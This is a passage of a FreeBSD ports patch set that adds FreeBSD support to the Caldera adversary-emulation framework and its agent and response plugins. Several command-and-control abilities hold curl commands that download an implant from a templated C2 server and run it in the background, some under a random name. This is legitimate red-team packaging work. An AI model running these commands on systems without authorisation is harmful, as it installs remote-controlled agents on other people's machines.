-X POST -H \'file:'+humanName+'.tar.gz\' '+http+'/file/download 2>&1 && mkdir \''+humanName+'\' && tar -C \''+humanName+'\' -zxvf \''+humanName+'.tar.gz\' ' + + ' && virtualenv -p python3 \''+humanName+'\' && \''+humanName+'/bin/pip\' install -r \''+humanName+'/requirements.txt\' && \''+humanName+'/bin/python\' \''+humanName+'/human.py\' --clustersize '+taskCount+' ' + +@@ -293,6 +299,10 @@ + $.each(extra, function(i, command) { + switch (platform) { + case "darwin": ++ command = command.replace(/\\/g, '\\\\'); ++ command = command.replace(/"/g, '\\\"'); ++ break; ++ case "freebsd": + command = command.replace(/\\/g, '\\\\'); + command = command.replace(/"/g, '\\\"'); + break; +@@ -317,4 +327,4 @@ + return provided_value || default_value; + } + +- +\ No newline at end of file ++ diff --git a/security/caldera/files/patch-plugins_manx_data_abilities_command-and-control_356d1722-7784-40c4-822b-0cf864b0b36d.yml b/security/caldera/files/patch-plugins_manx_data_abilities_command-and-control_356d1722-7784-40c4-822b-0cf864b0b36d.yml new file mode 100644 index 00000000000..a641bf2abe4 --- /dev/null +++ b/security/caldera/files/patch-plugins_manx_data_abilities_command-and-control_356d1722-7784-40c4-822b-0cf864b0b36d.yml @@ -0,0 +1,33 @@ +--- plugins/manx/data/abilities/command-and-control/356d1722-7784-40c4-822b-0cf864b0b36d.yml.orig 2022-08-08 23:34:48 UTC ++++ plugins/manx/data/abilities/command-and-control/356d1722-7784-40c4-822b-0cf864b0b36d.yml +@@ -57,6 +57,30 @@ + contact="tcp"; + agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:linux" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; + nohup ./$agent -http $server -socket $socket -contact $contact & ++ freebsd: ++ sh: ++ command: | ++ server="#{app.contact.http}"; ++ socket="#{app.contact.tcp}"; ++ contact="tcp"; ++ curl -s -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download > #{agents.implant_name}; ++ chmod +x #{agents.implant_name}; ++ ./#{agents.implant_name} -http $server -socket $socket -contact $contact -v ++ variations: ++ - description: Run against the UDP contact ++ command: | ++ server="#{app.contact.http}"; ++ socket="#{app.contact.udp}"; ++ contact="udp"; ++ agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; ++ nohup ./$agent -http $server -socket $socket -contact $contact & ++ - description: Download with a random name and start as a background process ++ command: | ++ server="#{app.contact.http}"; ++ socket="#{app.contact.tcp}"; ++ contact="tcp"; ++ agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; ++ nohup ./$agent -http $server -socket $socket -contact $contact & + windows: + psh: + command: | diff --git a/security/caldera/files/patch-plugins_manx_update-shells.sh b/security/caldera/files/patch-plugins_manx_update-shells.sh new file mode 100644 index 00000000000..97280531ab7 --- /dev/null +++ b/security/caldera/files/patch-plugins_manx_update-shells.sh @@ -0,0 +1,12 @@ +--- plugins/manx/update-shells.sh.orig 2022-08-08 23:34:48 UTC ++++ plugins/manx/update-shells.sh +@@ -1,7 +1,8 @@ +-#!/bin/bash ++#!/bin/sh + cwd=$(pwd) + cd shells + GOOS=windows go build -o ../payloads/manx.go-windows -ldflags="-s -w" manx.go + GOOS=linux go build -o ../payloads/manx.go-linux -ldflags="-s -w" manx.go + GOOS=darwin go build -o ../payloads/manx.go-darwin -ldflags="-s -w" manx.go ++GOOS=freebsd go build -o ../payloads/manx.go-freebsd -ldflags="-s -w" manx.go + cd $cwd diff --git a/security/caldera/files/patch-plugins_response_data_abilities_command-and-control_1837b43e-4fff-46b2-a604-a602f7540469.yml b/security/caldera/files/patch-plugins_response_data_abilities_command-and-control_1837b43e-4fff-46b2-a604-a602f7540469.yml new file mode 100644 index 00000000000..4df13e956c0 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_command-and-control_1837b43e-4fff-46b2-a604-a602f7540469.yml @@ -0,0 +1,15 @@ +--- plugins/response/data/abilities/command-and-control/1837b43e-4fff-46b2-a604-a602f7540469.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/command-and-control/1837b43e-4fff-46b2-a604-a602f7540469.yml +@@ -24,3 +24,12 @@ + python elasticat.py --server=$server --es-host="http://127.0.0.1:9200" --group=blue --minutes-since=60 + cleanup: | + pkill -f elasticat ++ freebsd: ++ sh: ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:elasticat.py" -H "platform:freebsd" $server/file/download > elasticat.py; ++ pip install requests; ++ python elasticat.py --server=$server --es-host="http://127.0.0.1:9200" --group=blue --minutes-since=60 ++ cleanup: | ++ pkill -f elasticat diff --git a/security/caldera/files/patch-plugins_response_data_abilities_detection_1226f8ec-e2e5-4311-88e7-378c0e5cc7ce.yml b/security/caldera/files/patch-plugins_response_data_abilities_detection_1226f8ec-e2e5-4311-88e7-378c0e5cc7ce.yml new file mode 100644 index 00000000000..e34453b7e11 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_detection_1226f8ec-e2e5-4311-88e7-378c0e5cc7ce.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/detection/1226f8ec-e2e5-4311-88e7-378c0e5cc7ce.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/detection/1226f8ec-e2e5-4311-88e7-378c0e5cc7ce.yml +@@ -9,7 +9,7 @@ + name: x + repeatable: True + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + find /var/mail -type f -exec grep "From.*@.*\..*" {} \; | cut -d'@' -f2 | cut -d' ' -f1 | sort --uniq diff --git a/security/caldera/files/patch-plugins_response_data_abilities_detection_3b4640bc-eacb-407a-a997-105e39788781.yml b/security/caldera/files/patch-plugins_response_data_abilities_detection_3b4640bc-eacb-407a-a997-105e39788781.yml new file mode 100644 index 00000000000..2962be97e40 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_detection_3b4640bc-eacb-407a-a997-105e39788781.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/detection/3b4640bc-eacb-407a-a997-105e39788781.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/detection/3b4640bc-eacb-407a-a997-105e39788781.yml +@@ -17,7 +17,7 @@ + - source: remote.port.unauthorized + edge: has_pid + target: host.pid.unauthorized +- linux: ++ freebsd,linux: + sh: + command: | + ps aux | grep -v grep | grep #{remote.port.unauthorized} | awk '{print $2}' +@@ -34,4 +34,4 @@ + plugins.response.app.parsers.process: + - source: remote.port.unauthorized + edge: has_pid +- target: host.pid.unauthorized +\ No newline at end of file ++ target: host.pid.unauthorized diff --git a/security/caldera/files/patch-plugins_response_data_abilities_detection_930236c2-5397-4868-8c7b-72e294a5a376.yml b/security/caldera/files/patch-plugins_response_data_abilities_detection_930236c2-5397-4868-8c7b-72e294a5a376.yml new file mode 100644 index 00000000000..5c45a62b261 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_detection_930236c2-5397-4868-8c7b-72e294a5a376.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/detection/930236c2-5397-4868-8c7b-72e294a5a376.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/detection/930236c2-5397-4868-8c7b-72e294a5a376.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: True + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + filepath="#{file.sensitive.path}"; +@@ -46,4 +46,4 @@ + edge: has_hash + target: file.sensitive.hash + - plugins.stockpile.app.requirements.paw_provenance: +- - source: file.sensitive.hash +\ No newline at end of file ++ - source: file.sensitive.hash diff --git a/security/caldera/files/patch-plugins_response_data_abilities_detection_9bc10f37-0853-4d73-b547-019c11eda22f.yml b/security/caldera/files/patch-plugins_response_data_abilities_detection_9bc10f37-0853-4d73-b547-019c11eda22f.yml new file mode 100644 index 00000000000..bb5c268f119 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_detection_9bc10f37-0853-4d73-b547-019c11eda22f.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/detection/9bc10f37-0853-4d73-b547-019c11eda22f.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/detection/9bc10f37-0853-4d73-b547-019c11eda22f.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: True + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + directory="#{directory.sensitive.path}"; +@@ -68,4 +68,4 @@ + edge: has_hash + target: directory.sensitive.hash + - plugins.stockpile.app.requirements.paw_provenance: +- - source: directory.sensitive.hash +\ No newline at end of file ++ - source: directory.sensitive.hash diff --git a/security/caldera/files/patch-plugins_response_data_abilities_detection_ee54384f-cfbc-4228-9dc1-cc5632307afb.yml b/security/caldera/files/patch-plugins_response_data_abilities_detection_ee54384f-cfbc-4228-9dc1-cc5632307afb.yml new file mode 100644 index 00000000000..04e09ebbabb --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_detection_ee54384f-cfbc-4228-9dc1-cc5632307afb.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/detection/ee54384f-cfbc-4228-9dc1-cc5632307afb.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/detection/ee54384f-cfbc-4228-9dc1-cc5632307afb.yml +@@ -8,7 +8,7 @@ + name: x + repeatable: True + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + set -f; diff --git a/security/caldera/files/patch-plugins_response_data_abilities_elastic__hunting_4b283acc-45c0-4de8-b0ac-ac0699e5ab95.yml b/security/caldera/files/patch-plugins_response_data_abilities_elastic__hunting_4b283acc-45c0-4de8-b0ac-ac0699e5ab95.yml new file mode 100644 index 00000000000..9c0b12919fb --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_elastic__hunting_4b283acc-45c0-4de8-b0ac-ac0699e5ab95.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/elastic_hunting/4b283acc-45c0-4de8-b0ac-ac0699e5ab95.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/elastic_hunting/4b283acc-45c0-4de8-b0ac-ac0699e5ab95.yml +@@ -28,7 +28,7 @@ + - source: host.process.guid + edge: has_interesting + target: investigate.process.guid +- linux: ++ freebsd,linux: + elasticsearch: + *cmd + darwin: diff --git a/security/caldera/files/patch-plugins_response_data_abilities_elastic__hunting_b419604e-6f82-40a4-b215-12f8c8156c2f.yml b/security/caldera/files/patch-plugins_response_data_abilities_elastic__hunting_b419604e-6f82-40a4-b215-12f8c8156c2f.yml new file mode 100644 index 00000000000..1fa27743781 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_elastic__hunting_b419604e-6f82-40a4-b215-12f8c8156c2f.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/elastic_hunting/b419604e-6f82-40a4-b215-12f8c8156c2f.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/elastic_hunting/b419604e-6f82-40a4-b215-12f8c8156c2f.yml +@@ -25,7 +25,7 @@ + - source: host.process.guid + edge: has_interesting + target: investigate.process.parent_guid +- linux: ++ freebsd,linux: + elasticsearch: + *cmd + darwin: diff --git a/security/caldera/files/patch-plugins_response_data_abilities_elastic__hunting_bf565e6a-0037-4aa4-852f-1afa222c76db.yml b/security/caldera/files/patch-plugins_response_data_abilities_elastic__hunting_bf565e6a-0037-4aa4-852f-1afa222c76db.yml new file mode 100644 index 00000000000..2879ff2bff3 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_elastic__hunting_bf565e6a-0037-4aa4-852f-1afa222c76db.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/elastic_hunting/bf565e6a-0037-4aa4-852f-1afa222c76db.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/elastic_hunting/bf565e6a-0037-4aa4-852f-1afa222c76db.yml +@@ -22,7 +22,7 @@ + - source: host.process.guid + edge: has_interesting + target: investigate.process.guid +- linux: ++ freebsd,linux: + elasticsearch: + *cmd + darwin: diff --git a/security/caldera/files/patch-plugins_response_data_abilities_response_02fb7fa9-8886-4330-9e65-fa7bb1bc5271.yml b/security/caldera/files/patch-plugins_response_data_abilities_response_02fb7fa9-8886-4330-9e65-fa7bb1bc5271.yml new file mode 100644 index 00000000000..85edefaa30f --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_response_02fb7fa9-8886-4330-9e65-fa7bb1bc5271.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/response/02fb7fa9-8886-4330-9e65-fa7bb1bc5271.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/response/02fb7fa9-8886-4330-9e65-fa7bb1bc5271.yml +@@ -8,7 +8,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + kill -9 #{host.pid.unauthorized} +@@ -25,4 +25,4 @@ + taskkill /pid #{host.pid.unauthorized} /f + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.pid.unauthorized +\ No newline at end of file ++ - source: host.pid.unauthorized diff --git a/security/caldera/files/patch-plugins_response_data_abilities_response_2ca64acd-dc12-4cc8-b78a-6a182508a50b.yml b/security/caldera/files/patch-plugins_response_data_abilities_response_2ca64acd-dc12-4cc8-b78a-6a182508a50b.yml new file mode 100644 index 00000000000..e28abe22f8d --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_response_2ca64acd-dc12-4cc8-b78a-6a182508a50b.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/response/2ca64acd-dc12-4cc8-b78a-6a182508a50b.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/response/2ca64acd-dc12-4cc8-b78a-6a182508a50b.yml +@@ -7,7 +7,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + if ! test -f hosts_backup; then cp /etc/hosts hosts_backup; fi; +@@ -27,4 +27,4 @@ + if (-not (Test-Path -Path .\hosts_backup)) { Copy-Item -Path c:\windows\system32\drivers\etc\hosts -Destination .\hosts_backup; }; + Add-Content c:\windows\system32\drivers\etc\hosts "127.0.0.1`t#{remote.suspicious.url}"; + cleanup: | +- Move-Item -Path .\hosts_backup -Destination c:\windows\system32\drivers\etc\hosts -Force +\ No newline at end of file ++ Move-Item -Path .\hosts_backup -Destination c:\windows\system32\drivers\etc\hosts -Force diff --git a/security/caldera/files/patch-plugins_response_data_abilities_response_32e563bb-ba06-4bcc-b817-fc2c434c0b66.yml b/security/caldera/files/patch-plugins_response_data_abilities_response_32e563bb-ba06-4bcc-b817-fc2c434c0b66.yml new file mode 100644 index 00000000000..26f61e8f83c --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_response_32e563bb-ba06-4bcc-b817-fc2c434c0b66.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/response/32e563bb-ba06-4bcc-b817-fc2c434c0b66.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/response/32e563bb-ba06-4bcc-b817-fc2c434c0b66.yml +@@ -7,7 +7,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + crontab -u #{host.user.name} -l > temp_crontab; +@@ -35,4 +35,4 @@ + edge: has_new_cronjob + target: host.new.cronjob + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.new.cronjob +\ No newline at end of file ++ - source: host.new.cronjob diff --git a/security/caldera/files/patch-plugins_response_data_abilities_response_bf01fdc9-d801-4461-81df-e511efb3c1fc.yml b/security/caldera/files/patch-plugins_response_data_abilities_response_bf01fdc9-d801-4461-81df-e511efb3c1fc.yml new file mode 100644 index 00000000000..72c7f5fec0b --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_response_bf01fdc9-d801-4461-81df-e511efb3c1fc.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/response/bf01fdc9-d801-4461-81df-e511efb3c1fc.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/response/bf01fdc9-d801-4461-81df-e511efb3c1fc.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + directory="#{directory.sensitive.path}"; +@@ -40,4 +40,4 @@ + - plugins.stockpile.app.requirements.paw_provenance: + - source: directory.sensitive.backup + - plugins.stockpile.app.requirements.paw_provenance: +- - source: directory.sensitive.path +\ No newline at end of file ++ - source: directory.sensitive.path diff --git a/security/caldera/files/patch-plugins_response_data_abilities_response_e846973a-767b-4f9c-8b9e-5249cfcd7b97.yml b/security/caldera/files/patch-plugins_response_data_abilities_response_e846973a-767b-4f9c-8b9e-5249cfcd7b97.yml new file mode 100644 index 00000000000..f87d3e75031 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_response_e846973a-767b-4f9c-8b9e-5249cfcd7b97.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/response/e846973a-767b-4f9c-8b9e-5249cfcd7b97.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/response/e846973a-767b-4f9c-8b9e-5249cfcd7b97.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + cp -f /tmp/sensitive_file_backups/#{file.backup.name} #{file.sensitive.path} +@@ -31,4 +31,4 @@ + - plugins.stockpile.app.requirements.paw_provenance: + - source: file.backup.name + - plugins.stockpile.app.requirements.paw_provenance: +- - source: file.sensitive.path +\ No newline at end of file ++ - source: file.sensitive.path diff --git a/security/caldera/files/patch-plugins_response_data_abilities_setup_243053d2-13c1-47f0-832d-6ef02ba95e1a.yml b/security/caldera/files/patch-plugins_response_data_abilities_setup_243053d2-13c1-47f0-832d-6ef02ba95e1a.yml new file mode 100644 index 00000000000..fb7e82cf61c --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_setup_243053d2-13c1-47f0-832d-6ef02ba95e1a.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/setup/243053d2-13c1-47f0-832d-6ef02ba95e1a.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/243053d2-13c1-47f0-832d-6ef02ba95e1a.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + mkdir -p /tmp/sensitive_file_backups; diff --git a/security/caldera/files/patch-plugins_response_data_abilities_setup_2ed3c315-2022-499e-a844-1bbd119d0abe.yml b/security/caldera/files/patch-plugins_response_data_abilities_setup_2ed3c315-2022-499e-a844-1bbd119d0abe.yml new file mode 100644 index 00000000000..fa5a362e9b9 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_setup_2ed3c315-2022-499e-a844-1bbd119d0abe.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/setup/2ed3c315-2022-499e-a844-1bbd119d0abe.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/2ed3c315-2022-499e-a844-1bbd119d0abe.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + output=""; +@@ -87,4 +87,4 @@ + } + requirements: + - plugins.response.app.requirements.source_fact: +- - source: directory.sensitive.path +\ No newline at end of file ++ - source: directory.sensitive.path diff --git a/security/caldera/files/patch-plugins_response_data_abilities_setup_34bc0116-13b6-4dd5-b681-9554c2a1fa95.yml b/security/caldera/files/patch-plugins_response_data_abilities_setup_34bc0116-13b6-4dd5-b681-9554c2a1fa95.yml new file mode 100644 index 00000000000..966f5dfa612 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_setup_34bc0116-13b6-4dd5-b681-9554c2a1fa95.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/setup/34bc0116-13b6-4dd5-b681-9554c2a1fa95.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/34bc0116-13b6-4dd5-b681-9554c2a1fa95.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + mkdir -p /tmp/sensitive_file_backups; +@@ -67,4 +67,4 @@ + Remove-Item -Recurse -Force C:\Users\Public\sensitive_file_backups; + requirements: + - plugins.response.app.requirements.source_fact: +- - source: file.sensitive.path +\ No newline at end of file ++ - source: file.sensitive.path diff --git a/security/caldera/files/patch-plugins_response_data_abilities_setup_622e4bda-e5a8-42bb-93d9-a7b1eebc7e41.yml b/security/caldera/files/patch-plugins_response_data_abilities_setup_622e4bda-e5a8-42bb-93d9-a7b1eebc7e41.yml new file mode 100644 index 00000000000..fac4b766aaa --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_setup_622e4bda-e5a8-42bb-93d9-a7b1eebc7e41.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/setup/622e4bda-e5a8-42bb-93d9-a7b1eebc7e41.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/622e4bda-e5a8-42bb-93d9-a7b1eebc7e41.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + mkdir -p /tmp/sensitive_file_backups; +@@ -104,4 +104,4 @@ + then rm -f $file; + fi; + done; +- rm -rf /tmp/sensitive_file_backups; +\ No newline at end of file ++ rm -rf /tmp/sensitive_file_backups; diff --git a/security/caldera/files/patch-plugins_response_data_abilities_setup_ba907d7a-b334-47e7-b652-4e481b5aa534.yml b/security/caldera/files/patch-plugins_response_data_abilities_setup_ba907d7a-b334-47e7-b652-4e481b5aa534.yml new file mode 100644 index 00000000000..5d580c3b323 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_setup_ba907d7a-b334-47e7-b652-4e481b5aa534.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/setup/ba907d7a-b334-47e7-b652-4e481b5aa534.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/ba907d7a-b334-47e7-b652-4e481b5aa534.yml +@@ -7,7 +7,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + echo '' > /tmp/cron_jobs; +@@ -32,4 +32,4 @@ + cat /tmp/cron_jobs | sort > /tmp/baseline_cronjobs_list.txt; + rm /tmp/cron_jobs; + cleanup: | +- rm -f /tmp/baseline_cronjobs_list.txt +\ No newline at end of file ++ rm -f /tmp/baseline_cronjobs_list.txt diff --git a/security/caldera/files/patch-plugins_response_data_abilities_setup_df9d2b83-b40f-4167-af75-31ddde59af7e.yml b/security/caldera/files/patch-plugins_response_data_abilities_setup_df9d2b83-b40f-4167-af75-31ddde59af7e.yml new file mode 100644 index 00000000000..372ec13b485 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_setup_df9d2b83-b40f-4167-af75-31ddde59af7e.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/setup/df9d2b83-b40f-4167-af75-31ddde59af7e.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/df9d2b83-b40f-4167-af75-31ddde59af7e.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + mkdir -p /tmp/sensitive_file_backups; +@@ -100,4 +100,4 @@ + do if [ ! -s $file ]; + then rm -f $file; + fi; +- done; +\ No newline at end of file ++ done; diff --git a/security/caldera/files/patch-plugins_response_data_abilities_setup_f313a0d7-2327-4f69-8da4-a6efd6135121.yml b/security/caldera/files/patch-plugins_response_data_abilities_setup_f313a0d7-2327-4f69-8da4-a6efd6135121.yml new file mode 100644 index 00000000000..c6a553602a4 --- /dev/null +++ b/security/caldera/files/patch-plugins_response_data_abilities_setup_f313a0d7-2327-4f69-8da4-a6efd6135121.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/setup/f313a0d7-2327-4f69-8da4-a6efd6135121.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/f313a0d7-2327-4f69-8da4-a6efd6135121.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + output=""; diff --git a/security/caldera/files/patch-plugins_sandcat_app_sand__svc.py b/security/caldera/files/patch-plugins_sandcat_app_sand__svc.py new file mode 100644 index 00000000000..78a4a9429ab --- /dev/null +++ b/security/caldera/files/patch-plugins_sandcat_app_sand__svc.py @@ -0,0 +1,14 @@ +--- plugins/sandcat/app/sand_svc.py.orig 2022-07-20 19:48:00 UTC ++++ plugins/sandcat/app/sand_svc.py +@@ -56,7 +56,10 @@ class SandService(BaseService): + ), + linux=dict( + cflags='CGO_ENABLED=1' +- ) ++ ), ++ freebsd=dict( ++ cflags='CGO_ENABLED=1' ++ ), + ) + if which('go') is not None: + if platform in compile_options.keys(): diff --git a/security/caldera/files/patch-plugins_sandcat_data_abilities_command-and-control_2f34977d-9558-4c12-abad-349716777c6b.yml b/security/caldera/files/patch-plugins_sandcat_data_abilities_command-and-control_2f34977d-9558-4c12-abad-349716777c6b.yml new file mode 100644 index 00000000000..051959d4ca5 --- /dev/null +++ b/security/caldera/files/patch-plugins_sandcat_data_abilities_command-and-control_2f34977d-9558-4c12-abad-349716777c6b.yml @@ -0,0 +1,45 @@ +--- plugins/sandcat/data/abilities/command-and-control/2f34977d-9558-4c12-abad-349716777c6b.yml.orig 2022-07-20 19:48:00 UTC ++++ plugins/sandcat/data/abilities/command-and-control/2f34977d-9558-4c12-abad-349716777c6b.yml +@@ -80,6 +80,42 @@ + curl -s -X POST -H "file:sandcat.go" -H "platform:linux" -H "gocat-extensions:proxy_http" -H "includeProxyPeers:HTTP" $server/file/download > #{agents.implant_name}; + chmod +x #{agents.implant_name}; + ./#{agents.implant_name} -server $server -listenP2P -v ++ freebsd: ++ sh: ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:sandcat.go" -H "platform:freebsd" $server/file/download > #{agents.implant_name}; ++ chmod +x #{agents.implant_name}; ++ ./#{agents.implant_name} -server $server -group red -v ++ variations: ++ - description: Deploy as a blue-team agent instead of red ++ command: | ++ server="#{app.contact.http}"; ++ agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; ++ nohup ./$agent -server $server -group blue & ++ - description: Download with a random name and start as a background process ++ command: | ++ server="#{app.contact.http}"; ++ agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; ++ nohup ./$agent -server $server & ++ - description: Compile red-team agent with a comma-separated list of extensions (requires GoLang). ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:sandcat.go" -H "platform:freebsd" -H "gocat-extensions:#{agent.extensions}" $server/file/download > #{agents.implant_name}; ++ chmod +x #{agents.implant_name}; ++ ./#{agents.implant_name} -server $server -group red -v ++ - description: Download with GIST C2 ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:sandcat.go" -H "platform:freebsd" -H "gocat-extensions:gist" -H "c2:gist" $server/file/download > #{agents.implant_name}; ++ chmod +x #{agents.implant_name}; ++ ./#{agents.implant_name} -c2 GIST -v ++ - description: Deploy as a P2P agent with known peers included in compiled agent ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:sandcat.go" -H "platform:freebsd" -H "gocat-extensions:proxy_http" -H "includeProxyPeers:HTTP" $server/file/download > #{agents.implant_name}; ++ chmod +x #{agents.implant_name}; ++ ./#{agents.implant_name} -server $server -listenP2P -v + windows: + psh: + command: | diff --git a/security/caldera/files/patch-plugins_sandcat_update-agents.sh b/security/caldera/files/patch-plugins_sandcat_update-agents.sh new file mode 100644 index 00000000000..1d312933729 --- /dev/null +++ b/security/caldera/files/patch-plugins_sandcat_update-agents.sh @@ -0,0 +1,16 @@ +--- plugins/sandcat/update-agents.sh.orig 2022-07-20 19:48:00 UTC ++++ plugins/sandcat/update-agents.sh +@@ -1,10 +1,11 @@ +-#!/bin/bash ++#!/bin/sh + # generates payloads for each os + +-function build() { ++build() { + GOOS=windows go build -o ../payloads/sandcat.go-windows -ldflags="-s -w" sandcat.go + GOOS=linux go build -o ../payloads/sandcat.go-linux -ldflags="-s -w" sandcat.go + GOOS=darwin go build -o ../payloads/sandcat.go-darwin -ldflags="-s -w" sandcat.go ++GOOS=freebsd go build -o ../payloads/sandcat.go-freebsd -ldflags="-s -w" sandcat.go + } + cd gocat && build + cd .. diff --git a/security/caldera/files/patch-plugins_stockpile_app_obfuscators_base64__basic.py b/security/caldera/files/patch-plugins_stockpile_app_obfuscators_base64__basic.py new file mode 100644 index 00000000000..2b4e23a8b9a --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_app_obfuscators_base64__basic.py @@ -0,0 +1,12 @@ +--- plugins/stockpile/app/obfuscators/base64_basic.py.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/app/obfuscators/base64_basic.py +@@ -10,7 +10,8 @@ class 